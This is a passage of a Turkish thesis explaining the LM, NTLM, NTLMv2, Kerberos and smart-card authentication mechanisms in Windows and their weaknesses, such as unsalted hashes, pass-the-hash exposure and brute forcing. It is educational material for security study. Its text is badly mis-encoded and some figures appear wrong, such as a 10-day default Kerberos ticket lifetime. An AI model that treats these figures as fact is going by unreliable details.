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Öz
Windows i³letim sistemi son yllarda ya³anan siber saldrlardaki sayca art³n sonucu
olarak önemli güvenlik özellikleri geli³tirmi³ ve sunmu³tur. Günlük hayatta gerçekle³ti-
§imiz i³lemlerde olu³an ki³isel veriler i³letim sisteminde saklanmas nedeniyle bilgisayara
uzaktan ya da ﬁziksel olarak eri³im sa§layan kötü niyetli ki³ilerden hassas verilerin ko-
runmas için en önemli güvenlik fonksiyonu olan kimlik do§rulamann i³letim sistemi
tarafndan hatasz ifa etmesi beklenmelidir. Di§er taraftan Windows'un ilk sürümlerin-
den itibaren kimlik do§rulama güvenlik fonksiyonunun atlatlmas için yöntemler sal-
drganlar tarafndan bulunmu³ ve bu zaﬁyetlerin bir ksmnn i³letim sistemi tasarm
ya da yazlm kaynakl bir ksmnn da politikalarn uygulanmamas nedeniyle ortaya
çkt§ görülmü³tür. Bu tezde, kimlik do§rulama güvenlik fonksiyonu üzerinde olu³an
tehditlere ek olarak bu tehditlerin nasl olu³tu§u özellikle Windows i³letim sistemlerinin
kimlik do§rulama mekanizma ö§elerine de§inilerek açklanm³tr. Bu ³ekilde bir yakla³-
mn hem teorik olarak bu konular anlamak isteyen hem de önlemleri uygulamak isteyen
ki³ilere kaynak olu³turaca§ de§erlendirilmektedir. Literatür taramas yaplarak tespit
edilen tehditlerin ve ilintili saldrlarn yapabilirli§i test edilmi³ ve çal³abilirlik durumu
gösterilmi³tir. Literatürde bulunmayan ek bir çal³ma olarak da tehditlerin geçersiz hale
getirilmesi için uygulanabilecek önlemlerin tehditler ile e³le³tirilmesi yaplm³tr. Lite-
ratür taramasnda ortaya çkan di§er bir eksiklikte saldr ve tehditlerin nüans farklar
olsa bile farkl ba³lklarla ve yazan ki³i tarafndan seçilmi³ fakat ki³iye göre de§i³ebilen
kategorilere atanm³ olmas sonucu tehditlerin genel geçer bir standarda göre snﬂan-
drlmam³ olmas ve dolaysyla anla³lmasnn zorla³masdr. Bu soruna çözüm olarak
tezde verilen tehdit ve saldrlar için CAPEC yöntemi kullanlarak kabul görmü³ bir s-
nﬂandrlma gerçekle³tirilmi³tir. Bu tür bir snﬂandrmann güvenlik testlerinde tespit
edilen bulgularn snﬂandrlmas ba§lamnda faydal olabilece§i dü³ünülmektedir. Buna
ek olarak önlemlerin CIS önlem snﬂandrmalar kullanlarak kategorizasyonu yaplm³-
tr. Bu amaçla CIS kapsamnda bulunan Windows 7 ve Windows 8 önlemleri dahilindeki
bütün maddeler tespit edilmi³ ve tezde bulunan önlemler ile e³le³tirilmi³tir.
Anahtar Sözcükler: Bilgi Güvenli§i Mühendisli§i, Szma Testleri, Pentest, Windows
Kimlik Do§rulama, Kimlik Do§rulama Mekanizmalar, Fiziksel Güvenlik, Parola Elde
Etme, Hash Elde Etme, Windows Sistemlere Szma, Hacking, CAPEC, CIS Security.
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Bölüm 1
Temel Konular
1.1 Kimlik Do§rulama Algoritmalar ve Zayf Yönleri Aç-
sndan De§erlendirme
Windows i³letim sistemlerinin kullanm³ oldu§u temel kimlik do§rulama algoritmalar
LM, NTLM, Kerberos ve Akll kartlardr. Donanmlar aras ileti³im gerçekle³tirilirken
verinin do§ru hedefe gönderilmesi veya do§ru kaynaktan alnmas için bu algoritmalar
devreye girerek güvenli kimlik do§rulama sa§larlar. Bu do§rultuda algoritmalarn i³lev-
lerinin neler oldu§u, i³levlerini yerine getirirken meydana gelen zayf yönlerinin de§erlen-
dirmesi gibi konular ele alnacaktr.
1.1.1 Lan Manager (LM)
Lan Manager NTLM'in ilk versiyonudur. Bu yüzden NTLM ile çok benzer yönleri vardr.
Windows 3.11, 95, 98, Me ve NT sürümleri dahil olmak üzere ço§u Microsoft ürünlerinde
kimlik do§rulama için kullanlr. uan ise windowsun eski sistemler ile ileti³im kuru-
labilmesi için desteklenmektedir. Bu nedenle eski sürümlerde olan baz özellikler, yeni
versiyon Windowslarda kendi arasnda ve i³lemlerinde kullanmasa bile sadece eski versi-
yon ile ileti³im kurabilmek için eklenip kullanlmaktadr. Dolaysyla bu i³letim sistemleri
arasnda sorunsuz olarak dosya ve yazc payla³mna imkan sa§lanm³ olmaktadr. An-
cak Windows NT ailesindeki (NT, 2000, 2003) i³letim sistemleri kendi aralarnda kimlik
do§rulamas yaparken LM özeti kullanmazlar. LM, a§ traﬁ§ini dinleyerek parola çalan
1
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saldrganlar dahil o günün güvenlik sorunlar ile mücadele etmek için tasarlanm³tr.
LM kimlik do§rulamada kullancnn parola özetini, ba§lanlmak istenen her sunucuda
bulundurma zorunlulu§u vardr. Çünkü istemcilerin e-posta eri³imi ya da dosya payla³m
gibi hizmetlere eri³meleri gerekmektedir. ifre özetini sunucuda depolad§ için güvenlik
açklklarna sebep oldu§u kadar verilerin bir merkezde depolanmasn da engellemekte-
dir. Bu durumun sonucunda; NTLM Etki Alan Denetleyicisine ihtiyaç duyulmu³tur. Etki
alanlarnn olu³turularak ve merkezi bir yapnn olu³turulmas ile bu güvenlik riskini bir
nebze de olsa etkisini azaltm³tr. Bu etki alan denetleyicileri tüm kullanc parola özet-
lerini bir etki alannda tutar (sunucu eri³imi sa§ladktan sonra bu özetleri geçici olarak
kendi üzerinde saklar) ve sadece sunucular bu bilgilere eri³ilebilmesini sa§lamaktadr[1].
1.1.1.1 LM Özetlemesinde zlenen Admlar
Özetleme ³ekil 1.1 üzerinde görüldü§ü gibi a³a§daki admlarda gerçekle³ir.
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ekil 1.1: LM Özetleme (Alntdr)
1. ifrede harf var ise büyük harfe çevrilir.
2. ifre 14 karakter ise ilk 14 karakteri alnr.
3. ifre 14 karakterden daha ksa ise eksik karakterler yerine bo³ (null) karakter ekle-
nir.
4. ifre 7 karakterlik 2 parçaya bölünür.
5. Her parça sabit bir katar (string) DES ³ifreleme algoritmasyla ³ifrelemek için
anahtar olarak kullanlr ve iki adet özet de§eri elde eder.
6. Olu³turulan 8 bayt özet de§eri uç uca eklenir ve 16 bayt uzunlu§unda özet de§eri
elde edilir.
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1.1.1.2 LM Zayf Yönleri
LM çok eski bir algoritma oldu§undan birçok zayf yönü tespit edilmi³tir. Bu zayf yön-
lerini a³a§da ki gibi sralanm³tr.
 LM özeti alnrken büyük harfe çevrildi§inden büyük-küçük harf duyarll§ bulun-
mamaktadr.
 Parolann ilk 14 karakteri alnr. Daha ksa ise 14 karaktere kadar bilinen bir ka-
rakterle (`0') tamamlanr.
 Parolas olmayan veya 14 karakterden daha uzun parolas olan bir kullancnn LM
özeti sabit ve bilinen bir sonuç (AAD3B435B51404EE-AAD3B435B51404EE) verir.
Bu sebeple bo³ parola ile sisteme giri³ yaplma te³ebbüsünde bulunabilir. Ba³arsz
olunmas durumunda ise, parolann 14 karakterden daha uzun oldu§u anla³lr.
 DES ³ifrelemede sabit bir katar kullanlmaktadr. LM özeti, DES ³ifreleme metodu
kulland§ndan, aslnda bir özetleme yöntemi bile saylmayabilir.
 Tuzlama kullanlmaz. ifreleri ayn olan kullanclarn LM özetleri de ayn olur.
 8 karakterden daha ksa olan parolalarn LM özetinin ikinci parças
AAD3B435B51404EE olur.
 lk veya son 7 karakteri ayn olan kullanclarn parolalarnn LM özet de§erlerinin
de ilk veya son parçalar ayn olur. Parolas "Bb123456" olan bir kullanc ile pa-
rolas "bB12345" olan ba³ka bir kullancnn parolalarna ait LM özetlerinin ilk 16
baytlk parçalar ayndr.
 5 karakter ve daha büyük uzunluktaki ³ifrelerde LM özeti tutulmaz.
 Parolalarn özet de§erleri a§ üzerinden gönderilmektedir. Bu sebeple MITM sald-
rlarna açktr.
 LM kimlik do§rulama için kullanlan LM özetleme metodu gökku³a§ saldrlaryla
birkaç saniyede kaba kuvvet saldrlaryla (brute force) ise birkaç saatte çözülebilir
[1].
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1.1.2 NT Lan Manager (NTLM)
LANMAN'a göre daha güvenlidir. A§ ortamndaki Windows NT 4.0 veya daha eski versi-
yonlarla ileti³im kurulmasnda kullanlan kimlik do§rulama veWindows Server 2003 ailesi
için varsaylan ileti³im protokolüdür. NTLM hem depolama (SAM dosyasnda) hem de
ileti³im protokolü (iki makine arasnda) olarak kullanlr. LM kimlik do§rulamada paro-
lann özeti ba§lanlmak istenen her sunucuda bulunmak zorundayd. Etki alanlarnn ve
merkezi bir yapnn olu³turulmas bu güvenlik riskini bir nebze de olsa etkisini azaltm³-
tr. Etki alan kavram ile NTLM kullanlmaya ba³lanm³tr. stemcilerin parolalarnn
özeti sadece DC'lerde saklanmaya ba³lam³tr. Dolays ile bu yöntem sonucu kullancnn
parolas a§ ortamnda dola³mam³ olmaktadr [2] [3].
1.1.2.1 NTLM ile Kimlik Do§rulama ve Özetlemesinde zlenen Admlar
256 karaktere kadar parola uzunlu§u deste§i verir. MD4 özetleme algoritmas kullanr.
LM gibi küçük harﬂeri büyük harﬂere çevirmez ve parolay ikiye ayrmaz. Ancak ortak
özellik olarak NTLM, LM gibi tuzlama kullanmaz. NTLM özetlemesi ³ekil 1.2 üzerinde
görüldü§ü gibidir.
ekil 1.2: NTLM Özetleme (Alntdr)
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1. stemci sisteme girmek ister, bunun için kullanc adn açk halde gönderir.
2. Sunucu istemciye kimli§ini ispatlamas için "challenge" veya di§er bir ad "nonce
(number used once)" olan 16 baytlk rastgele bir say gönderir
3. stemci bu sayy (challenge) alarak parolasnn özeti ile ³ifreler ve sunucuya cevap
verir.
4. E§er bu i³lem bir etki alannda gerçekle³iyorsa sunucu Etki Alan Denetleyicisine
(DC) istemciden gelen bu ³ifreli sayy (istemci parola özetine challenge eklemi³tir)
ve challenge açk halini gönderir. DC'den bu istemcinin kimli§ini do§rulamasn
talep eder. E§er ortada DC yok ise sunucu bu adm ve bir sonraki adm kendi
üzerinde gerçekle³tirir.
5. DC istemcinin parola özetine sahip oldu§undan, sunucudan açk halde gelen chal-
lenge says ile istemci parola özetini ³ifreler ve bu ³ifreli sayy sunucuya gönderir.
6. Sunucu 3. admda ald§ ³ifreli say ile DC'den gelen bu sayy kar³la³trr ve sonucu
istemciye gönderir.
Bu i³lem yeni Windows versiyonlarnda kerberos ile gerçekle³tirilmektedir.
3. Admda gerçekle³en cevaplama i³lemi ³u ³ekilde olmaktadr:
 Kullanc parolasnn MD4 ile özetlenmi³ hali istemci özel anahtar olur. Bu özet
de§eri NTLM özetidir ve 16 bayttr.
 Bu 16 baytlk de§er 7'³er gruplu olmak üzere 3 parçaya ayrlr. ekil 1.3 üzerinde
görüldü§ü gibidir.
ekil 1.3: 7'³er Gruplu 3 Parçaya Ayrma
 Eksik olan son parça 7 bayt olabilmesi için 5 adet "0" eklenir. ekil 1.4 üzerinde
görüldü§ü gibidir.
ekil 1.4: 7 Bayt Tamamlama
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 Bu 3 de§er DES anahtar olarak kullanlr ve challenge ad verilen rastgele saynn
özetini alr.
ekil 1.5 üzerinde görüldü§ü gibidir.
ekil 1.5: 3 Grup Des'in Anahtar Olarak Kullanlmas
 Olu³an 8'er baytlk de§erler birle³tirilerek 24 bayt de§er elde edilir. Bu de§er su-
nucuya cevap de§eridir. ekil 1.6 üzerinde görüldü§ü gibidir.
ekil 1.6: 24 Bayt De§erin Elde Edilmesi
Sonuç 8+8+8= 24baytlk de§er.
1.1.2.2 Di§er Özellikleri
 LM gibi, NTLM özeti de SAM dosyasnda saklanr.
 Önceden hesaplanm³ say (challage) sayesinde LM'e göre daha güvenilirdir. Ayn
say kullanlmadkça tekrar saldrlarna kar³ biraz daha direnç sa§lar.
 Karakterler büyük harfe çevrilmedi§i için LM özetine göre daha fazla olaslk vardr.
 LM'deki gibi, parolann kendisi parçalara ayrlmaz ancak özeti ayrlr.
 LM ile çal³an sistemlerle uyumlu çal³r. Geçmi³e uyumludur.
 NTLM kimlik do§rulama bütünlük ve gizlilik sa§lar. Bütünlük için CRC (Cyclic
redundancy check) ve özetleme algoritmalar (RFC1321) kullanr. ifreleme için
RC4 kullanr.
 LM özetleme tekni§ine göre daha güvenilir olan NTLM özeti, gökku³a§ (rainbow)
ve kaba kuvvet (brute force) saldrlarna kar³ LM özetleme tekni§ine göre biraz
daha dirençlidir.
 stemcide istemci parolasnn özeti alnarak SAM dosyasnda saklanr.
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 stemci parolas a§ üzerinden yollanmaz. Parolann özetinin bir ksm, ³ifreli bir
kanal üzerinden yollanr.
 Sunucu sadece kimlik do§rulama sonucunu bilir. Kullancnn özel anahtarn bil-
mez.
 Challenge/Response tabanl bir protokoldür.
 SSO'u desktekler.
1.1.2.3 NTLM Zayf Yönleri
NTLM algoritmasnn zayf yönleri a³a§da ki gibi sralanm³tr.
 NTLM, ³ifreleme için AES, SHA-256 gibi modern teknikler kullanlmaz.
 Parolann özeti alnrken kullanlan MD4 zayf bir algoritmadr.
 Sayy ³ifrelemekte kullanlan DES zayf bir algoritmadr. Kaba kuvvet (brute force)
saldrs ile parola elde edilebilir. Bu amaçla Cain&Abel gibi araçlar kullanlabilir.
 SAM dosyas bir ³ekilde elde edilebilir ve parolann özeti de saldrganlarn eline
geçebilir.
 Özel anahtar parola kadar de§erlidir. Bu sebeple, PTH saldrlarna kar³ zayftr.
 Microsoft olmayan i³letim sistemlerinde ileti³imde problemler çkar.
 Tuzlama kullanlmaz.
 MITM saldrlarna kar³ açktr. Aktif saldrganlar istemciye bilinen saylar yol-
layarak cevap bekleyebilir. Böylece sözlük saldrlaryla kullancnn parolas elde
edilebilir.
1.1.3 NT Lan Manager V2 (NTLMv2)
NTLMv2 protokolü NTLMv1 üzerinde skla³trma uygulayarak daha güvenli ³ekilde
kimlik do§rulama i³leminin gerçekle³tirilmesi için geli³tirilmi³tir.
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1.1.3.1 NTLMv2 ile Kimlik Do§rulama
NTLMv2 Kimlik Do§rulama Algoritmas
SC = 8-bayt sunucunun rastgele says (challenge)
CC = 8-bayt istemcinin rastgele says (challenge)
CC* = (X, time, CC2, Domain Ad)
v2-Hash = HMAC-MD5 (NTLM-Özet, Kullanc Ad, Domain Ad)
LMv2 = HMAC-MD5 (v2-Özet, SC, CC)
NTLMv2 = HMAC-MD5 (v2-Özet, SC, CC*)
Cevap = LMv2 | CC | NTLMv2 | CC* [4],
Temel olarak sunucunun gönderdi§i 8 baytlk challenge de§erine kar³n 2 tane 16 baytlk
cevap (response) döndürür. Cevaplardan biri HMAC-MD5 ile özetlenmi³ Server Chal-
lenge (SC), rastgele olarak üretilen Client Challenge (CC), ve kullanc parola bilgisinin
yine HMAC-MD5 ile özetlenmi³ halini içerir. Ksa olan cevap (response) üretilen 16 bayt-
lk de§ere 8 baytlk SC (Server challenge) de§erini de ekleyerek 24 baytlk bir cevap elde
eder ve bunu sunucuya gönderir. Bu cevap de§erine LMv2 de denilir. Di§er cevap ise sabit
uzunlukta olmayan bir CC (Client Challenge) kullanlr. Zaman damgas (Timestamp), 8
baytlk rastgele de§er, etki alan ad ve baz standart bigliler kullanr. Bu cevap mutlaka
bu sabit uzunlukta olmayan CC de§erinin bir kopyasn barndrmaldr. Bundan dolay
response uzunlu§u de§i³kendir. Bu cevap de§erine NTv2 ad verilir [3] [4].
Not: Temelde SAM içerisinde olan NT özeti, kullanc ad ve etki alan ad i³lemden
geçirerek gönderir.
1.1.3.2 NTLMv2'nin NTLM'den Güçlü Oldu§u Yönleri
 NTLM protokolü istemciye ait say (Client Challenge) kullanmazken NLTMv2 pro-
tokolünün istemciye ait say kullanmasdr.
 Tekrarlama saldrlarndan korunmay güçlendirmek için zaman bilgisinin (time
stamp) i³lenmesi ve gönderilmesidir.
 HMAC-MD5 algoritmas ile özetleme i³lemlerinin yaplmasdr.
 NTLM protokolünde LM özeti ve NT özeti kullanlrken, NTLMv2 protokolünde
yalnzca NT özeti kullanlmasdr.
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1.1.4 Kerberos
Kerberos `Athena Projes'inin bir parças olarak kullanlm³ daha sonra TCP/IP yaps-
nn güvenli bulunmamas sonucu MIT (Massachusetts Institute of Technology) tarafndan
geli³tirilerek kullanlmaya ba³lanm³tr. Kullanc Bilgileri LM ve NTLM ile bir makina-
dan di§erine a§ üzerinden gönderiliyordu. Bu durum güvenlik sorunlarna yol açt§ndan
Microsoft tarafndan tercih edilmi³tir. Önce Windows 2000 Server'da kullanlm³, son-
ras için default kimlik do§rulama yöntemi olarak kabul edilmi³tir. Oldukça güvenli bir
protokoldür [5]. ki sürümü mevcuttur. Bu sürümler 4 ve 5'tir. Daha güvenli olmasndan
dolay genelde 5 tercih edilmektedir. Kerberos üç ayakta tamamlanr.
1. Kimlik do§rulama veya servise ula³mas gereken STEMC
2. stemcinin istedi§i servise ula³masn sa§layan SUNUCU
3. Hem sunucuya hemde istemciye hakemlik yapan KDC (Key Distribution Center).
Yaplan i³lem özetle ³u ³ekildedir. stemci sunucuya ula³mak için KDC'den ön bilet alr,
ald§ bu bileti sunucuya gönderir. Sunucu bu bileti kontrol ettikten sonra istemcinin
kimli§ini do§rular. Bu i³lem a³a§daki gibi "Kerberos ile Kimlik Do§rulama" ba³l§
altnda detayl incelenmi³tir.
1.1.4.1 Kerberos ile Kimlik Do§rulama
ekilde de görüldü§ü üzere kerberos 6 admda kimlik do§rular. ekil 1.7 üzerinde görül-
dü§ü gibidir.
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ekil 1.7: Kerberos Kimlik Do§rulama Protokolü (Alntdr)
1. Adm (as_req): stemci KDC' ye (Key Distribution Center) kendisni tantmak amac
ile ön bilet talebinde bulunur. stemci authenticator (zaman damgal) paketini kendi
parolasnn özeti ile ³ifreler ve kullanc ad, ba§l oldu§u domain adn Authentication
Server'e (yetkilendirme sunucusuna) gönderir. Böylece As_Req i³lemi gerçekle³mi³ olur.
2. Adm (as_rep): KDC, istemci kimli§ini do§ruladktan sonra bir ön bilet ve istemci ile
ileti³imde kullanaca§ bir oturum anahtar (KDC_SK) gönderir. Bu adm As_rep ad-
mdr. öyle gerçekle³ir; KDC'nin TGS (Ticket Granting Server) bilet sa§lama servisi,
oturum anahtar ve ön biletten olu³an paketi kendi ³ifre özeti ile ³ifreler. Yine bu oturum
³ifresini içeren ikinci bir paketi istemcinin ³ifre özeti ile ³ifreler ve bu paketleri istemciye
gönderir.
3. Adm (tgs_req): stemci ba§lanaca§ sunucuya kendisini ispatlamak için KDC ile
ileti³imde oldu§unu ve KDC'nin bunu onaylamasn ister. Bu Adm TGS_REQ admdr.
u ³ekilde gerçekle³ir; istemci, authenticator (zaman damgal) paketi, KDC'den ald§
oturum ³ifresi ile ³ifreler. Bu paketi, ba§lanmak istedi§i sunucu adn, sunucunun ba§l
oldu§u domain adn, bir önceki admda KDC'den ald§ ön bileti ve oturum ³ifresinin
KDC özel ³ifresi ile ³ifrelenmi³ paketi TGS' ye gönderir.
4. Adm (tgs_rep): KDC onaylad§ istemciye, istemcinin sunucudaki izinleri için gerekli
asl bileti ve sunucu ile ileti³imde kullanaca§ bir oturum ³ifresini (SRV_SK) gönderir. Bu
adm TGS_REP admdr. öyle gerçekle³ir; KDC TGS, asl bileti ve oturum ³ifresinden
olu³an bu paketi sunucunun parola özeti ile ³ifreler. Yine ayn ³ekilde oturum ³ifresi
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ve istemci ile ortak kulland§ oturum anahtar (KDC_SK) ile ³ifreler ve bu paketleri
istemciye gönderir.
5. Adm (ap_req): stemci, KDC onay ile sunucuya kimli§ini do§rulatr.
Bu adm AP_REQ admdr. öyle gerçekle³ir; istemci, authenticator (zaman damgal)
paketi, KDC'den ald§ ikinci oturum ³ifresi (SRV_SK) ile ³ifreler. Bu paketi, bir önceki
admda KDC'den ald§ asl bilet ve ikinci oturum ³ifresinin sunucunun özel ³ifresi ile
birlikte paketi sunucuya gönderir.
6. Adm (ap_rep): Sunucu kimli§ini do§rulad§ istemciye geri bildirimde bulunur ve
ileti³im tamamlanm³ olur [5] .
1.1.4.2 Kerberos Güçlü Yönleri
 Bilet varsaylan olarak normalde 10 gün gibi uzun bir süre saklanlr. Bu sürenin
a³mnda bilet geçerlili§ini yitirir. Ele geçirilse bile herhangi i³lem yaplamaz. ifre
de§i³ikliklerinde yeni bir özel anahtar olu³aca§ndan dolay eski bilet geçerlili§ini
kaybeder. Bu durumda eski bilet açlmayaca§ndan bilet de§i³tirilir.
 stemci ve sunucunun özel anahtarlar hiçbir zaman a§ üzerinden gönderilmez. Ken-
dilerinde sakl oldu§u gibi KDC'de mevcuttur.
 Oturum anahtarlar ksa ömürlü ve kullanldktan sonra i³e yaramayaca§ndan at-
lrlar. Bu anahtarlar KDC üretmekte olup oturum kapatldktan sonra bu anah-
tarlar bellekten silinirler.
 Kullanc sisteme ilk giri³ yapar ve onay verilirse ön bileti(TGT) alr. lk giri³ten
ba³arl geçtikten sonra ön bileti ile yetkileri çerçevesinde kaynaklara eri³ir. Bu
durumda ise sistemde Single-Sign-On (SSO) sa§lanm³ olur.
 Kimlik do§rulama i³lemleri KDC'de gerçekle³ti§inden, istemcilere hizmet veren
sunucularda bu bilgiler bulunmamaktadr. KDC, istemci veya sunucuyu isterse
devre d³ brakabilir.
 Gönderilen ve alnan paketlerde zaman damgalar mevcuttur. Bu yüzden tekrar-
lama saldrlarna kar³ güçlüdür.
 Uygun görülürse sunucuya kimlik do§rulamas da yaptrlabilir. Yani istemci ken-
dini sunucuya ispatlad§ gibi sunucuda ayn i³lemi istemciye kar³ yaplmas iste-
nebilir [5].
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1.1.4.3 Kerberos Zayf Yönleri
Kerberos kimlik do§rulamann zayf yönleri a³a§da ki gibi sralanm³tr.
 Kimlik do§rulama yaplrken herhangi bir problem sonucu NTLMv2 de kullanmak-
tadr.
 Kerberos için zaman damgas kullanlmaktadr. Normalde en fazla 5 dakika gibi bir
sapma olabilmektedir.
 stemci özel anahtarn istemci bilgisayarnda saklamaktadr.
 Bilgisayarn ön belle§inde oturum anahtar elde edilebilmektedir. Oturum anahta-
rnn ön bellekte veya anahtar tablosunda saklanmas bir zaﬁyettir.
 A§dan gönderilen biletlerin ³ifresi elde edilip edilmedi§i anla³lmamaktadr. Bu
durum zaman kstndan dolay göz ard edilmektedir [5].
1.1.5 Akll Kart
"Sahip olunan bir ³ey" (something have) kimlik do§rulama kapsamna giren akll kartlar,
kimlik do§rulamann yannda ayn zamanda yetkilendirme ve veri ³ifrelemede kullanlan
güvenlik araçlardr. Akll kartlarda iki tür sertiﬁka bulunur, bu sertiﬁkalar; özel (pri-
vate) ve açk (public) anahtar olmak üzere istemciye aittir. mzalama i³leminde özel
anahtar kullanlr. Özel anahtar oldu§undan özellikle saysal imzlama da inkâr edeme-
mezli§i sa§lar. Dolays ile bu anahtarn güvende tutulup bir ba³kasnn eline geçmemesi
için korunmaldr. Bu yüzden özel güvenlik önlemleri alnmaktadr. Ayrca akll kart-
lar üzerine yaplan Szma Testi uygulamalarnda PIN ve özel anahtara yetkisiz eri³im
denemeleri yaplmaktadr.
stemci sertiﬁkas belli bir otorite tarafndan imzlanp bu ve bu güvenlikteki sertiﬁkalar
etki alan denetleyici üzerinde loglar tutulmaktadr. Uygunlu§unun kabul edilmesi için
sertiﬁkann otoritelerinden birisi tarafndan imzalanmas (Authority Issuer) gerekmekte-
dir. stemci sertiﬁkasnn içerisinde genel olarak bulunan bilgiler; etki alan bilgisi, istem-
cinin kullanc ad, sertiﬁkann geçerlilik tarihi, genel anahtar ve ³ifreleme algoritmasdr.
Örne§in bir bilgi, istemcinin açk anahtar ile ³ifrelenirse bu bilgi ancak istemcinin özel
anahtar ile açlabilir. Ba³ka bir anahtar ile açlmas mümkün görülmemektedir [5].
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1.1.5.1 Akll Kart Kimlik Do§rulama Admlar
Akll kart ile kimlik do§rulama 6 admda gerçekle³ir. ekil 1.8 üzerinde görüldü§ü gibidir.
ekil 1.8: Akll Kart Kimlik Do§rulama
ekilde ki kimlik do§rulama adm adm a³a§daki gibi özetlenebilir;
1. stemci ilk olarak akll kart ile oturum açmak için pin kodunu girer. E§er PIN
do§ru ise bu durumda akll karttaki sertiﬁka okunabilir hale gelir ve i³letim sis-
temi sertiﬁkann geçerli olup olmad§na bakar. Bu i³lemler gerçekle³tikten sonra
akll kart sorun görmedi§inde kimlik do§rulamay yapar. Ancak bu durumda i³le-
tim sistemi eri³im haklarn gerçekle³tirmez. Çünkü eri³im haklarnn gerçekle³mesi
için DC'nin istemciyi do§rulamas gerekmektedir. DC do§rulama i³lemini gerçek-
le³tirdikten sonra jeton elde edilerek eri³im haklar yetkiler çerçevesinde gerçekle³ir.
2. Akll kart üzerinden pin do§rulamas yaplan domainde ki bir istemci DC'ye gön-
dermek üzere kullanc adn, sertiﬁkasnn kopyasn ve zaman damgal paket ha-
zrlayp akll kartta bulunan özel anahtar ile ³ifreleyip KDC'ye gönderir.
3. Etki alanndaki istemciden gelen bu paketi KDC alr ve açk anahtarnn geçerlili-
§ini kontrol eder.
4. KDC'nin kontrolü sonucunda sertiﬁkann geçerlili§i devam ediyorsa, KDC'nin ayn
zamanda üzerinde tuttu§u kullanc bilgilerine göre Authentication Server (AS) ta-
rafndan bir bilet (TGT) olu³turulur. KDC istemcinin genel anahtar ile ³ifrelenmi³
oturum anahtarn ve oturum anahtar ile ³ifrelenmi³ TGT'yi istemciye gönderir.
Bu i³lemden sonra yine KDC oturum anahtarn ve TGT'yi kendi özel anahtarn
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kullanp imzalayarak yeni bir paket olu³turur. Yaplan i³lemlere baklarak istemci
ile KDC arasnda ki kimlik do§rulamada kullanlan oturum anahtar Kerberos'
ta istemcinin parolasnn özeti ile ³ifrelenirken akll kartlarda ise istemcinin açk
anahtar ile ³ifrelenmektedir. Bu durum sonucunda akll kart olan bir kullancnn
oturum anahtar elde edilebilir.
5. KDC'den istemciye gönderilen paketi istemci alr ve oturum açmak istedi§i bilgi-
sayara Kerberos protokolünü kullanarak gönderir.
6. stemci KDC'ye ait açk anahtar ile gelen bu paketi do§rular. Önce paketi de³ifre
ederek oturum anahatarn sonrada TGT'yi elde eder. Dolays ile istemci otu-
rum açt§ bilgisayarn etki alannda kullanaca§ oturum anahatar ve ön bilet olan
TGT'yi elde etmi³ olur [5].
1.1.5.2 Akll Kart Zayf Yönleri
Akll kart ile kimlik do§rulamann zayf yönleri a³a§da ki gibi sralanm³tr.
 Akll kartn sahip oldu§u özel anahtar herhangi bir sebeple kaybolmas yada ele
geçirilmesi akll kartn kimlik do§rulamasn yanl³ gerçekle³tirir. Ancak bu duruma
kar³ aklll kartlarn özel güvenlik önlemleri mevcuttur.
 Akll kartlar donanm özellikli oldu§undan belirli maliyetlere sahiptirler. Bu ma-
liyetin sürdürülebilir bir tasarmla devam etmesi olanakszdr. Çünkü akll kart
algoritmasnda yaplacak bir de§i³ikli§in bütün donanma yansma ihtimali mev-
cuttur.
 Akll kartlarda kimlik do§rulama admlar anlatlrken TGT bilgisayar üzerinde
saklanld§ belirtilmi³ti. Bu durum Kerberos açklklarnn akll kartlar için de
geçerli oldu§unu akla getirmektedir [5].
1.2 Önemli Windows Güvenlik Bile³enleri ve ³lemcileri
Windows i³letim sistemi sunucularda etki alan ile kullanclar bir araya getirerek SID
de§erlerleri ile birbirinden ayrr. SAT ise kullanc veya gruplarn yetkilerini barndrr.
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SAM ve SYSTEM ise yerel kullanclarn kimlik bilgilerini barndrrken NTDS.dit ise
bir nevi active directory'nin veri tabandr. Konu alt ba³lklar ³eklinde a³a§da ki gibi
açklanm³tr.
1.2.1 Güvenlik Bile³enleri
Windows i³letim sistemi sunucularda etki alan ile kullanclar bir araya getirerek SID
(Security Identiﬁer) de§erlerleri ile birbirinden ayrrr. SAT (Security Access Token) ise
kullanc veya gruplarn yetkilerini barndrr. SAM ve SYSTEM ise yerel kullanclarn
kimlik bilgilerini barndrr. NTDS.dit ise bir nevi active directory'nin veri tabandr.
Konu alt ba³lklar ³eklinde a³a§da ki gibi açklanm³tr.
1.2.1.1 Windows Ortamnda Etki Alan (Domain)
Çe³itli sunucu-i³letim sistemlerinin altnda ayn isim ile bir araya getirilen, cihazlarn bü-
tün SID de§erlerini bir arada tutan, merkezi olarak yönetilen ve network ileti³im yetene§i
olan nesnelerin olu³turdu§u bir yapdr. Bu nesneler d³ardan herhangi bir yetkiye sa-
hip de§iller. Herhangi bir güvenlik ayarlarn d³ardan alamazlar. Bu ayarlar ve yetkiler
bulunduklar etki alan çerçevesindedir.
Çal³ma gruplar ile de§erlendirildi§inde en öne çkan özelli§i güvenliktir. Katlabilmek
için bilgisayar ayarlarndan üyelik ksmndan ilgili etki alannn ismi yazlarak dahil olu-
nur. Ancak bir yöneticinin onay vermesi gerekmektedir.
Ayn güvenlik ayarlarnn geçerli oldu§u üyeler aras yetkiler da§tlabildi§i için Microsoft
bundan dolay etki alanna güvenlik snr (security boundary) demi³tir. Etki alannn d-
³nda ki bir bilgisayar etki alanna üye olmadkça etki alann kapsamndan yararlanamaz.
Ayn ³ekilde etki alan içinde olan bir bilgisayar d³ardaki ba³ka bir a§dan veya yapdan
yetki veya ayar de§i³imine gidemez.
Etki alan kendi ba³na braklamayaca§ndan etki alann yöneten yönetici veya yöne-
tici gruplar mevcuttur. Yönetmedeki görevleri; etki alanna bilgisayar ekleme çkarma,
kullanc olu³turma ve silme, kullancdan yetki alma veya vermektir. Bu görev veya i³-
lemleri Etki alan denetleyicileri (DC) tarafndan gerçekle³tirilir. Bu denetleyiciler, etki
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alannda ki bütün nesnelerin bilgilerini barndklarndan dolay ortak bir veritaban gö-
revi görmekteler. Bu kadar nesneyi bir arada tuttuklarndan dolay merkezi bir yaplar
mevcut olup bu merkezi yapdan kendisi üzerinde bulunan bütün nesnelerin yönetimi de
çok kolay olmaktadr [5].
1.2.1.2 Windows Ortamnda Çal³ma Gruplar (Workgroups)
Workgroups olarak adlandrlan çal³ma gruplar ba§msz bilgisayarlarn bir arada olu³-
turduklar bir a§ yapsdr. Ba§msz olundu§undan her bilgisayarn kendi yerel yönetici,
kullanclar ve gruplar mevcuttur. Bundan dolay her bir bilgisayarn kendisine ait kul-
